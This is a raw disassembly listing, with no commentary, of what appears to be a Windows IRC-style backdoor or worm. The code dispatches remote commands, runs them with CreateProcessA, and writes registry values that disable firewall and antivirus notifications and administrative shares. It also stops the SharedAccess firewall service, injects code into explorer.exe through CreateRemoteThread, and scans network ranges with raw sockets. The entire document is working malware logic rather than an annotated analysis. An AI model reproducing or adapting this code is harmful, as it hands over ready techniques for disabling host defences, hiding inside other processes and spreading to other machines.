		mov	eax, [ebp+var_40C]
		add	eax, [ebp+var_408]
		movsx	eax, byte ptr [eax+1]
		sub	eax, 61h
		movsx	eax, al
		mov	ecx, [ebp+var_404]
		movsx	ecx, [ebp+ecx+var_400]
		add	ecx, eax
		mov	eax, [ebp+var_404]
		mov	[ebp+eax+var_400], cl
		mov	eax, [ebp+var_404]
		inc	eax
		mov	[ebp+var_404], eax
		jmp	loc_403204
; ---------------------------------------------------------------------------


loc_40328C:				; CODE XREF: sub_403062+1C1j
		mov	eax, [ebp+var_404]
		mov	[ebp+eax+var_400], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_403062


loc_4032A9:				; CODE XREF: sub_403062+181j
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4032AE:				; CODE XREF: sub_403062+108j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short loc_4032F1
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		push	offset a_500s	; "%.500s\n"
		push	offset dword_401298
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	dword_4014C8, eax
		push	0
		push	dword_4014C8
		push	offset dword_401298
		push	dword_4014DC
		call	dword_401130	; send


loc_4032F1:				; CODE XREF: sub_403062+256j
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4032F6:				; CODE XREF: sub_403062+29j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short loc_40330D
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		call	sub_40553F


loc_40330D:				; CODE XREF: sub_403062+29Ej
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403312:				; CODE XREF: sub_403062+D4j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short loc_403329
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		call	sub_404F02


loc_403329:				; CODE XREF: sub_403062+2BAj
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_40332E:				; CODE XREF: sub_403062+4Cj
		call	sub_404FBF
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403338:				; CODE XREF: sub_403062+3Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short loc_40334F
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		call	sub_404FCE


loc_40334F:				; CODE XREF: sub_403062+2E0j
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403354:				; CODE XREF: sub_403062+E1j
					; sub_403062+141j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short loc_40337D
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		sub	eax, 75h
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		call	sub_404CE7


loc_40337D:				; CODE XREF: sub_403062+2FCj
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403382:				; CODE XREF: sub_403062+C7j
		mov	eax, [ebp+arg_4]
		mov	dword_40167C, eax
		call	sub_403A51
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403394:				; CODE XREF: sub_403062+85j
		mov	eax, [ebp+arg_4]
		mov	dword_40167C, eax
		call	sub_403A96
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4033A6:				; CODE XREF: sub_403062+EEj
		call	sub_4048CF
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4033B0:				; CODE XREF: sub_403062+73j
		call	sub_4048F9
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4033BA:				; CODE XREF: sub_403062+134j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short loc_4033D4
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		call	sub_4043B4


loc_4033D4:				; CODE XREF: sub_403062+362j
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4033D9:				; CODE XREF: sub_403062+ACj
		call	sub_4044C0
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4033E3:				; CODE XREF: sub_403062+11Aj
		push	10h
		push	dword_4014D4
		call	dword_401164	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_41C]
		push	eax
		call	dword_4010BC	; lstrcpynA
		push	dword_4014D8
		call	dword_401164	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aNi_16s_16s ; "[ni] %.16s %.16s"
		push	offset dword_401298
		call	dword_401104	; wsprintfA
		add	esp, 10h
		push	offset dword_401298


loc_40342B:				; DATA XREF: __u_____:0041628Fr
					; __u_____:00416298r ...
		call	sub_402C53


loc_403430:				; DATA XREF: __u_____:004164C7r
					; sub_416B96+73w ...
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403435:				; CODE XREF: sub_403062+66j
					; DATA XREF: sub_414D29+3Fr
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]


loc_40343C:				; DATA XREF: __u_____:00414C66r
					; __u_____:loc_41613Cr	...
		cmp	eax, 20h
		jnz	short loc_403480
		push	offset dword_4015F0
		push	offset aD	; "D"
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		push	0
		call	dword_4010A8	; CreateProcessA
		cmp	eax, 1
		jnz	short loc_403476
		push	offset aExec_0	; "[exec] :)"
		call	sub_402C53
		jmp	short loc_403480
; ---------------------------------------------------------------------------


loc_403476:				; CODE XREF: sub_403062+406j
		push	offset aExec	; "[exec] :("
		call	sub_402C53


loc_403480:				; CODE XREF: sub_403062+59j
					; sub_403062+3DDj ...
		call	sub_403A18
		jmp	short locret_4034B7
; ---------------------------------------------------------------------------


loc_403487:				; CODE XREF: sub_403062+FBj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short loc_40349E
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		call	sub_40414F


loc_40349E:				; CODE XREF: sub_403062+42Fj
		jmp	short locret_4034B7
; ---------------------------------------------------------------------------


loc_4034A0:				; CODE XREF: sub_403062+127j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	short locret_4034B7
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		push	eax
		call	sub_403F1F

locret_4034B7:				; CODE XREF: sub_403062+79j
					; sub_403062+B2j ...
		leave
		retn	8
sub_403062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034BB	proc near		; CODE XREF: sub_4028D3+FDp
					; sub_402C9E+182p
		push	ebp
		mov	ebp, esp
		call	dword_4010A4	; GetTickCount
		push	eax
		push	offset dword_40170C
		push	offset a_8s08x	; "%.8s%08x"
		push	offset dword_401498
		call	dword_401104	; wsprintfA
		add	esp, 10h
		pop	ebp
		retn
sub_4034BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034DF	proc near		; CODE XREF: sub_4025F4:loc_402625p

var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_122		= word ptr -122h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 148h
		mov	[ebp+var_8], offset aN ; "n"
		mov	[ebp+var_148], 1
		and	[ebp+var_128], 0
		mov	[ebp+var_124], 2
		mov	[ebp+var_123], 0
		mov	[ebp+var_122], 8
		and	[ebp+var_120], 0
		and	[ebp+var_11E], 0
		push	0
		lea	eax, [ebp+var_124]
		push	eax
		push	0
		push	0
		push	4
		push	6
		call	dword_401044	; GetCurrentProcess
		push	eax
		call	dword_401034	; SetSecurityInfo
		lea	eax, [ebp+var_C]


loc_403548:				; DATA XREF: sub_414D29+EAw
					; sub_41518C+3r ...
		push	eax
		push	offset aSoftwareMicros ; "software\\microsoft\\ole"
		push	80000002h
		call	dword_401030	; RegCreateKeyA
		push	2
		push	[ebp+var_8]
		push	1


loc_403560:				; DATA XREF: sub_4169A0+9Er
		push	0
		push	offset aEnabledcom ; "enabledcom"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA


loc_403570:				; DATA XREF: sub_414D29:loc_414F12r
		push	[ebp+var_C]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_C]


loc_40357C:				; DATA XREF: sub_4169A0+7r
		push	eax
		push	offset aSystemCurrentc ; "system\\currentcontrolset\\control\\lsa"
		push	80000002h
		call	dword_401030	; RegCreateKeyA
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	4
		push	0


loc_40359A:				; DATA XREF: __u_____:00415055o
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	4
		push	0
		push	offset aRestrictanon_0 ; "restrictanonymoussam"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	[ebp+var_C]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSystemCurren_0 ; "system\\currentcontrolset\\services\\lanma"...
		push	80000002h
		call	dword_401030	; RegCreateKeyA
		push	4
		lea	eax, [ebp+var_128]
		push	eax
		push	4
		push	0
		push	offset aAutoshareserve ; "autoshareserver"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	4
		lea	eax, [ebp+var_128]
		push	eax
		push	4
		push	0
		push	offset aAutosharewks ; "autosharewks"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	[ebp+var_C]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSoftwareMicr_0 ; "software\\microsoft\\security	center"
		push	80000002h
		call	dword_401030	; RegCreateKeyA
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	4
		push	0


loc_403640:				; DATA XREF: __u_____:004159E2r
		push	offset aAntivirusdisab ; "antivirusdisablenotify"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	4
		push	0
		push	offset aAntivirusoverr ; "antivirusoverride"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	4
		push	0
		push	offset aFirewalldisabl ; "firewalldisablenotify"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	4
		push	0
		push	offset aFirewalldisa_0 ; "firewalldisableoverride"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	[ebp+var_C]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSoftwarePolici ; "software\\policies\\microsoft\\windowsfire"...
		push	80000002h
		call	dword_401030	; RegCreateKeyA
		push	4
		lea	eax, [ebp+var_128]
		push	eax
		push	4
		push	0
		push	offset aEnablefirewall ; "enablefirewall"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	[ebp+var_C]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSoftwarePoli_0 ; "software\\policies\\microsoft\\windowsfire"...
		push	80000002h
		call	dword_401030	; RegCreateKeyA
		push	4
		lea	eax, [ebp+var_128]
		push	eax
		push	4
		push	0
		push	offset aEnablefirewall ; "enablefirewall"
		push	[ebp+var_C]
		call	dword_40102C	; RegSetValueExA
		push	[ebp+var_C]
		call	dword_401024	; RegCloseKey
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_401070	; GetWindowsDirectoryA
		lea	eax, [ebp+var_118]
		push	eax
		push	offset aSDebugDcpromo_ ; "%s\\debug\\dcpromo.log"
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_40109C	; _lcreat
		push	eax
		call	dword_4010A0	; _lclose
		push	1
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4010C4	; SetFileAttributesA
		push	22h
		push	0
		push	0
		call	dword_401008	; OpenSCManagerA
		mov	[ebp+var_4], eax
		push	22h
		push	offset aSharedaccess ; "sharedaccess"
		push	[ebp+var_4]
		call	dword_401004	; OpenServiceA
		mov	[ebp+var_11C], eax
		lea	eax, [ebp+var_144]
		push	eax
		push	1
		push	[ebp+var_11C]
		call	dword_401020	; ControlService
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		push	4
		push	0FFFFFFFFh
		push	[ebp+var_11C]
		call	dword_40101C	; ChangeServiceConfigA
		push	[ebp+var_11C]
		call	dword_40100C	; CloseServiceHandle
		push	[ebp+var_4]
		call	dword_40100C	; CloseServiceHandle
		leave
		retn
sub_4034DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037DC	proc near		; CODE XREF: sub_402650+7Fp
					; sub_4027AF+48p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	dword_401044	; GetCurrentProcess
		mov	[ebp+var_8], eax
		mov	eax, dword_401060
		mov	dword_401651, eax
		mov	eax, dword_40105C
		mov	dword_40165D, eax
		mov	eax, dword_401058
		mov	dword_401664, eax
		mov	eax, dword_4010D4
		mov	dword_40166D, eax
		push	offset dword_4015F0
		push	offset aD	; "D"
		push	0
		push	0
		push	44h
		push	0
		push	0
		push	0
		push	offset aExplorer_exe ; "explorer.exe"
		push	0
		call	dword_4010A8	; CreateProcessA
		push	2
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	dword_4015F0
		push	[ebp+var_8]
		push	[ebp+var_8]
		call	dword_401054	; DuplicateHandle
		mov	eax, [ebp+var_C]
		mov	dword_40164C, eax
		mov	eax, [ebp+var_C]
		mov	dword_401658, eax
		push	4
		push	1000h
		push	138h
		push	0
		push	dword_4015F0
		call	dword_401050	; VirtualAllocEx
		mov	[ebp+var_4], eax
		push	0
		push	34h
		push	offset dword_401644
		push	[ebp+var_4]
		push	dword_4015F0
		call	dword_40104C	; WriteProcessMemory
		push	0
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	eax, [ebp+var_4]
		add	eax, 34h
		push	eax
		push	dword_4015F0
		call	dword_40104C	; WriteProcessMemory
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		push	0
		push	0
		push	dword_4015F0
		call	dword_401048	; CreateRemoteThread
		push	0
		call	dword_4010D4	; ExitProcess
		leave
		retn
sub_4037DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038D9	proc near		; CODE XREF: sub_4027FE+2Ap
					; sub_40414F+1D0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4038EA
; ---------------------------------------------------------------------------


loc_4038E3:				; CODE XREF: sub_4038D9+22j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4038EA:				; CODE XREF: sub_4038D9+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_4038FD
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		jmp	short loc_4038E3
; ---------------------------------------------------------------------------

locret_4038FD:				; CODE XREF: sub_4038D9+17j
		leave
		retn	8
sub_4038D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403901	proc near		; CODE XREF: sub_4059EF+64p
					; sub_405AE6+42p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_403912
; ---------------------------------------------------------------------------


loc_40390B:				; CODE XREF: sub_403901+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_403912:				; CODE XREF: sub_403901+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_403927
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax], cl
		jmp	short loc_40390B
; ---------------------------------------------------------------------------

locret_403927:				; CODE XREF: sub_403901+17j
		leave
		retn	0Ch
sub_403901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40392B	proc near		; CODE XREF: sub_4028D3+2E1p
					; sub_403F1F+72p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40393C
; ---------------------------------------------------------------------------


loc_403935:				; CODE XREF: sub_40392B+29j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40393C:				; CODE XREF: sub_40392B+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_403956
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]


loc_403952:				; DATA XREF: sub_4169A0+16w
					; sub_416EDC+53r
		mov	[eax], cl
		jmp	short loc_403935
; ---------------------------------------------------------------------------

locret_403956:				; CODE XREF: sub_40392B+17j
					; DATA XREF: sub_4169A0+4Bw ...
		leave
		retn	0Ch
sub_40392B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_4028D3+290p
					; sub_402C9E+1Dp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_40395D:				; CODE XREF: sub_40395A+29j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_403985
		mov	eax, [ebp+arg_0]


loc_40396A:				; DATA XREF: sub_4169A0+88w
					; sub_416AB7+36r
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_40397C
		mov	eax, [ebp+arg_0]
		jmp	short loc_403987
; ---------------------------------------------------------------------------
word_40397A	dw 7EBh			; DATA XREF: sub_416A72+22w
					; sub_416B96+2D1r
; ---------------------------------------------------------------------------


loc_40397C:				; CODE XREF: sub_40395A+19j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40395D
; ---------------------------------------------------------------------------


loc_403985:				; CODE XREF: sub_40395A+Bj
		xor	eax, eax


loc_403987:				; CODE XREF: sub_40395A+1Ej
		pop	ebp
		retn	8
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40398B	proc near		; CODE XREF: MEW:00404B90p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_40398E:				; DATA XREF: sub_415EEB+20w
					; sub_415F5A+6w ...
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]


loc_40399A:				; DATA XREF: __u_____:0041617Cw
					; __u_____:004166BDr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4039AC
		mov	eax, [ebp+var_4]


loc_4039AA:				; DATA XREF: sub_415EA4+8w
					; sub_415EA4+36w ...
		jmp	short locret_403A14
; ---------------------------------------------------------------------------


loc_4039AC:				; CODE XREF: sub_40398B+1Aj
		jmp	short loc_4039B5
; ---------------------------------------------------------------------------


loc_4039AE:				; CODE XREF: sub_40398B+44j
					; sub_40398B+85j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		inc	eax


loc_4039B2:				; DATA XREF: sub_414D29+4Br
		mov	[ebp+var_4], eax


loc_4039B5:				; CODE XREF: sub_40398B:loc_4039ACj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_403A12
		mov	eax, [ebp+var_4]


loc_4039C2:				; DATA XREF: __u_____:004167B2w
					; sub_416923-3Br
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_4039D1
		jmp	short loc_4039AE
; ---------------------------------------------------------------------------


loc_4039D1:				; CODE XREF: sub_40398B+42j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_4039D7:				; CODE XREF: sub_40398B:loc_403A08j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4039E8
		mov	eax, [ebp+var_4]
		jmp	short locret_403A14
; ---------------------------------------------------------------------------
		dw 20EBh
; ---------------------------------------------------------------------------


loc_4039E8:				; CODE XREF: sub_40398B+54j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		mov	edx, [ebp+var_C]
		inc	edx
		mov	[ebp+var_C], edx
		mov	edx, [ebp+var_8]
		inc	edx
		mov	[ebp+var_8], edx
		cmp	ecx, eax
		jz	short loc_403A08
		jmp	short loc_403A0A
; ---------------------------------------------------------------------------


loc_403A08:				; CODE XREF: sub_40398B+79j
		jmp	short loc_4039D7
; ---------------------------------------------------------------------------


loc_403A0A:				; CODE XREF: sub_40398B+7Bj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		jmp	short loc_4039AE
; ---------------------------------------------------------------------------


loc_403A12:				; CODE XREF: sub_40398B+32j
		xor	eax, eax

locret_403A14:				; CODE XREF: sub_40398B:loc_4039AAj
					; sub_40398B+59j
		leave
		retn	8
sub_40398B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A18	proc near		; CODE XREF: sub_4028D3+9p
					; sub_403062:loc_403480p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	dword_401068	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short locret_403A4F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	[ebp+var_4]
		call	dword_401064	; GetProcAddress
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short locret_403A4F
		call	[ebp+var_8]

locret_403A4F:				; CODE XREF: sub_403A18+1Bj
					; sub_403A18+32j
		leave
		retn
sub_403A18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A51	proc near		; CODE XREF: sub_402C9E:loc_402FBAp
					; sub_403062+328p
		push	ebp
		mov	ebp, esp
		cmp	dword_401680, 1
		jnz	short loc_403A94
		and	dword_401680, 0
		push	0
		push	0
		push	0BD01h
		push	offset loc_403AA5
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		push	0
		push	0
		push	1BD01h
		push	offset loc_403AA5
		push	0
		push	0
		call	dword_4010B4	; CreateThread


loc_403A94:				; CODE XREF: sub_403A51+Aj
		pop	ebp
		retn
sub_403A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A96	proc near		; CODE XREF: sub_403062+33Ap
		push	ebp
		mov	ebp, esp
		mov	dword_401680, 1
		pop	ebp
		retn
sub_403A96	endp

; ---------------------------------------------------------------------------


loc_403AA5:				; DATA XREF: sub_403A51+1Co
					; sub_403A51+34o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4010A4	; GetTickCount
		mov	esi, eax
		call	dword_40106C	; GetCurrentThreadId
		xor	esi, eax
		mov	[ebp-1Ch], esi
		cmp	dword_4014D8, 0FFFFFFFFh
		jnz	short loc_403AD3
		mov	eax, [ebp-1Ch]
		shl	eax, 10h
		mov	[ebp-14h], eax
		jmp	short loc_403AEC
; ---------------------------------------------------------------------------


loc_403AD3:				; CODE XREF: MEW:00403AC6j
		movzx	eax, byte ptr dword_4014D8
		shl	eax, 18h
		movzx	ecx, byte ptr dword_4014D8+1
		shl	ecx, 10h
		or	eax, ecx
		mov	[ebp-14h], eax


loc_403AEC:				; CODE XREF: MEW:00403AD1j
		mov	eax, [ebp+8]
		shr	eax, 10h
		jnz	short loc_403B04
		mov	dword ptr [ebp-18h], 0FFFF0000h
		mov	dword ptr [ebp-4], 0FF00h
		jmp	short loc_403B12
; ---------------------------------------------------------------------------


loc_403B04:				; CODE XREF: MEW:00403AF2j
		mov	dword ptr [ebp-18h], 0FF000000h
		mov	dword ptr [ebp-4], 0FFFF00h


loc_403B12:				; CODE XREF: MEW:00403B02j
		mov	eax, [ebp+8]
		and	eax, 0FFFFh
		mov	[ebp-8], ax


loc_403B1E:				; CODE XREF: MEW:00403B8Cj
		cmp	dword_401680, 0
		jnz	short loc_403B8E
		mov	eax, [ebp-14h]
		and	eax, [ebp-18h]
		mov	ecx, [ebp-1Ch]
		and	ecx, [ebp-4]
		or	eax, ecx
		mov	[ebp-10h], eax
		push	400h
		call	dword_4010DC	; Sleep
		mov	eax, [ebp-10h]
		mov	[ebp-0Ch], eax
		jmp	short loc_403B54
; ---------------------------------------------------------------------------


loc_403B4B:				; CODE XREF: MEW:00403B77j
		mov	eax, [ebp-0Ch]
		add	eax, 20h
		mov	[ebp-0Ch], eax


loc_403B54:				; CODE XREF: MEW:00403B49j
		mov	eax, [ebp-10h]
		add	eax, 100h
		cmp	[ebp-0Ch], eax
		jnb	short loc_403B79
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-0Ch]
		call	sub_403B95
		push	200h
		call	dword_4010DC	; Sleep
		jmp	short loc_403B4B
; ---------------------------------------------------------------------------


loc_403B79:				; CODE XREF: MEW:00403B5Fj
		call	dword_4010A4	; GetTickCount
		mov	esi, eax
		call	dword_40106C	; GetCurrentThreadId
		xor	esi, eax
		mov	[ebp-1Ch], esi
		jmp	short loc_403B1E
; ---------------------------------------------------------------------------


loc_403B8E:				; CODE XREF: MEW:00403B25j
		xor	eax, eax
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B95	proc near		; CODE XREF: MEW:00403B67p

var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= word ptr -2B8h
var_2B6		= word ptr -2B6h
var_2B4		= dword	ptr -2B4h
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
var_88		= dword	ptr -88h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2C4h
		mov	[ebp+var_2BC], 1
		and	[ebp+var_2A0], 0
		and	[ebp+var_190], 0
		mov	[ebp+var_2B8], 2
		mov	ax, [ebp+arg_4]
		mov	[ebp+var_2B6], ax
		and	[ebp+var_2A8], 0
		and	[ebp+var_2A4], 0
		and	[ebp+var_4], 0
		jmp	short loc_403BE5
; ---------------------------------------------------------------------------


loc_403BDE:				; CODE XREF: sub_403B95+194j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_403BE5:				; CODE XREF: sub_403B95+47j
		cmp	[ebp+var_4], 20h
		jge	loc_403D2E
		push	6
		push	1
		push	2
		call	dword_401160	; socket
		mov	ecx, [ebp+var_4]
		mov	[ebp+ecx*4+var_88], eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	8004667Eh
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_88]
		call	dword_401154	; ioctlsocket


loc_403C21:				; CODE XREF: sub_403B95+10Aj
		and	[ebp+var_2C0], 0
		jmp	short loc_403C37
; ---------------------------------------------------------------------------


loc_403C2A:				; CODE XREF: sub_403B95:loc_403C60j
		mov	eax, [ebp+var_2C0]
		inc	eax
		mov	[ebp+var_2C0], eax


loc_403C37:				; CODE XREF: sub_403B95+93j
		mov	eax, [ebp+var_2C0]
		cmp	eax, [ebp+var_2A0]
		jnb	short loc_403C62
		mov	eax, [ebp+var_2C0]
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_29C]
		cmp	eax, [ebp+ecx*4+var_88]
		jnz	short loc_403C60
		jmp	short loc_403C62
; ---------------------------------------------------------------------------


loc_403C60:				; CODE XREF: sub_403B95+C7j
		jmp	short loc_403C2A
